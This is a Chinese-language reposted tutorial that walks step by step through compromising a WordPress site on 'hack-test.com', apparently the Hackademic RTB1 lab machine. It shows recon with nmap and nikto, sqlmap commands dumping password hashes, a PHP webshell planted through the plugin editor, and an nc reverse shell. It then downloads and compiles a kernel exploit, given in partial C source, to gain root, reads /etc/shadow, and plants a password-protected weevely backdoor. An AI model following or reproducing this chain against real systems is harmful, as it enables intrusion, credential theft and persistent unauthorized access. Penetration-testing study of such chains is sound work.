没怎么看懂,也许以后用得到,就收藏一下
通过本文你将了解黑客常用的入手思路和技术手法,适合热爱网络信息安全的新手朋友了解学习。本文将从最开始的信息收集开始讲述黑客是如何一步步的攻破你的网站和服务器的.阅读本文你会学到以下内容:
1.渗透测试前的简单信息收集。
2.sqlmap 的使用
3.nmap 的使用
4.nc 反弹提权
5.linux 系统的权限提升
6.backtrack 5 中渗透测试工具 nikto 和 w3af 的使用等.
假设黑客要入侵的你的网站域名为:hack-test.com
让我们用 ping 命令获取网站服务器的 IP 地址.
现在我们获取了网站服务器的 IP 地址为:173.236.138.113
寻找同一服务器上的其它网站,我们使用 sameip.org.
26 sites hosted on IP Address 173.236.138.113
ID | Domain | Site Link |
1 | hijackthisforum.com | hijackthisforum.com |
2 | sportforum.net | sportforum.net |
3 | freeonlinesudoku.net | freeonlinesudoku.net |
4 | cosplayhell.com | cosplayhell.com |
5 | videogamenews.org | videogamenews.org |
6 | gametour.com | gametour.com |
7 | qualitypetsitting.net | qualitypetsitting.net |
8 | brendanichols.com | brendanichols.com |
9 | 8ez.com | 8ez.com |
10 | hack-test.com | hack-test.com |
11 | kisax.com | kisax.com |
12 | paisans.com | paisans.com |
13 | mghz.com | mghz.com |
14 | debateful.com | debateful.com |
15 | jazzygoodtimes.com | jazzygoodtimes.com |
16 | fruny.com | fruny.com |
17 | vbum.com | vbum.com |
18 | wuckie.com | wuckie.com |
19 | force5inc.com | force5inc.com |
20 | virushero.com | virushero.com |
21 | twincitiesbusinesspeernetwork.com | twincitiesbusinesspeernetwork.com |
22 | jennieko.com | jennieko.com |
23 | davereedy.com | davereedy.com |
24 | joygarrido.com | joygarrido.com |
25 | prismapp.com | prismapp.com |
26 | utiligolf.com | utiligolf.com |
173.236.138.113 上有 26 个网站,很多黑客为了攻破你的网站可能会检查同服务器上的其它网站,但是本次是以研究为目标,我们将抛开服务器上的其它网站,只针对你的网站来进行入侵检测。
We’ll need more information about your site, such as:
我们需要关于你网站的以下信息:
- DNS records (A, NS, TXT, MX and SOA)
- Web Server Type (Apache, IIS, Tomcat)
- Registrar (the company that owns your domain)
- Your name, address, email and phone
- Scripts that your site uses (php, asp, asp.net, jsp, cfm)
- Your server OS (Unix,Linux,Windows,Solaris)
- Your server open ports to internet (80, 443, 21, etc.)
让我们开始找你网站的 DNS 记录,我们用 who.is 来完成这一目标.
我们发现你的 DNS 记录如下
让我们来确定 web 服务器的类型
发现你的 W eb 服务器是 apache,接下来确定它的版本.
HACK-TEST.COM SITE INFORMATION
IP: 173.236.138.113
Website Status: active
Server Type: Apache
Alexa Trend/Rank: 1 Month: 3,213,968 3 Month: 2,161,753
Page Views per Visit: 1 Month: 2.0 3 Month: 3.7
接下来是时候寻找你网站域名的注册信息,你的电话、邮箱、地址等.
我们现在已经获取了你的网站域名的注册信息,包括你的重要信息等.我们可以通过 backtrack 5 中的 whatweb 来获取你的网站服务器操作系统类型和服务器的版本.
我们发现你的网站使用了著名的 php 整站程序 wordpress,服务器的的系统类型为 Fedora Linux,Web 服务器版本 Apache 2.2.15.继续查看网站服务器开放的端口,用渗透测试工具 nmap:
1-Find services that run on server(查看服务器上运行的服务)
2-Find server OS(查看操作系统版本)
只有 80 端口是开放的,操作系统是 Linux2.6.22(Fedora Core 6),现在我们已经收集了所有关于你网站的重要信息, 接下来开始扫描寻找漏洞,比如:
Sql injection – Blind sql injection – LFI – RFI – XSS – CSRF 等等.
我们将使用 Nikto 来收集漏洞信息:
root@bt:/pentest/web/nikto# perl nikto.pl -h hack-test.com
我们也会用到 Backtrack 5 R1 中的 W3AF 工具:
root@bt:/pentest/web/w3af# ./w3af_gui
我们输入要检测的网站地址,选择完整的安全审计选项.
稍等一会,你将会看到扫描结果.
发现你的网站存在 sql 注入漏洞、XSS 漏洞、以及其它的漏洞.让我们来探讨 SQL 注入漏洞.
我们通过工具发现这个 URL 存在 SQL 注入,我们通过 Sqlmap 来检测这个 url.
Using sqlmap with –u url
过一会你会看到
输入 N 按回车键继续
我们发现你的网站存在 mysql 显错注入,mysql 数据库版本是 5.0. 我们通过加入参数”-dbs”来尝试采集数据库名.
发现三个数据库,接下来通过参数”-D wordpress -tables”来查看 wordpress 数据库的所有表名
通过参数“-T wp_users –columns ”来查看 wp_users 表中的字段.
接下来猜解字段 user_login 和 user_pass 的值.用参数”-C user_login,user_pass –dump”
我们会发现用户名和密码 hashes 值. 我们需要通过以下在线破解网站来破解密码 hashes
登陆 wordpress 的后台 wp-admin
尝试上传 php webshell 到服务器,以方便运行一些 linux 命令.在插件页面寻找任何可以编辑的插件. 我们选择 Textile 这款插件,编辑插入我们的 php webshell,点击更新文件,然后访问我们的 php webshell.
Php webshell 被解析了,我们可以控制你网站的文件,但是我们只希望获得网站服务器的 root 权限,来入侵服务器上其它的网站。
我们用 NC 来反弹一个 shell,首先在我们的电脑上监听 5555 端口.
然后在 Php webshell 上反向连接我们的电脑,输入你的 IP 和端口 5555.
点击连接我们会看到
接下来我们尝试执行一些命令:
id
uid=48(apache) gid=489(apache) groups=489(apache)
(用来显示用户的 id 和组)
pwd
/var/www/html/Hackademic_RTB1/wp-content/plugins
(显示服务器上当前的路径)
uname -a
Linux HackademicRTB1 2.6.31.5-127.fc12.i686 #1 SMP Sat Nov 7 21:41:45 EST 2009 i686 i686 i386 GNU/Linux
(显示内核版本信息)
现在我们知道,服务器的内核版本是 2.6.31.5-127.fc12.1686,我们在 exploit-db.com 中搜索此版本的相关漏洞.
在服务器上测试了很多 exp 之后,我们用以下的 exp 来提升权限.
http://www.exploit-db.com/exploits/15285
我们在 nc shell 上执行以下命令:
wget http://www.exploit-db.com/exploits/15285 -o roro.c
(下载 exp 到服务器并重命名为 roro.c)
注:很多 linux 内核的 exp 都是 C 语言开发的,因此我们保存为.c 扩展名.
exp roro.c 代码如下:
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define RECVPORT 5555
#define SENDPORT 6666
int prep_sock(int port)
{
int s, ret;
struct sockaddr_in addr;
s = socket(PF_RDS, SOCK_SEQPACKET, 0);
if(s < 0)
{
printf(“[*] Could not open socket.\n”);
exit(-1);
}
memset(&addr, 0, sizeof(addr));
通过以上代码我们发现该 exp 是 C 语言开发的,我们需要将他编译成 elf 格式的,命令如下:
gcc roro.c –o roro
接下来执行编译好的 exp
./roro
执行完成之后我们输入 id 命令
id
我们发现我们已经是 root 权限了
uid=0(root) gid=0(root)
现在我们可以查看/etc/shadow 文件
cat /etc/shadow
查看/etc/passwd 文件
cat /etc/passwd
我们可以使用”john the ripper”工具破解所有用户的密码.但是我们不会这样做,我们需要在这个服务器上留下后门以方便我们在任何时候访问它.
我们用 weevely 制作一个 php 小马上传到服务器上.
1.weevely 使用选项
root@bt:/pentest/backdoors/web/weevely# ./main.py –
2.用 weevely 创建一个密码为 koko 的 php 后门
root@bt:/pentest/backdoors/web/weevely# ./main.py -g -o hax.php -p koko
接下来上传到服务器之后来使用它
root@bt:/pentest/backdoors/web/weevely# ./main.py -t -u http://hack-test.com/Hackademic_RTB1/wp-content/plugins/hax.php -p koko
测试我们的 hax.php 后门
总结:
在这边文章中我们学到的一些技术正被黑客用来入侵你的网站和服务器,我们希望能通过这篇文章能够对你未来维护服务器和网站安全有所帮助.
本文只是用来学习了解 Web 安全的相关知识,原文链接: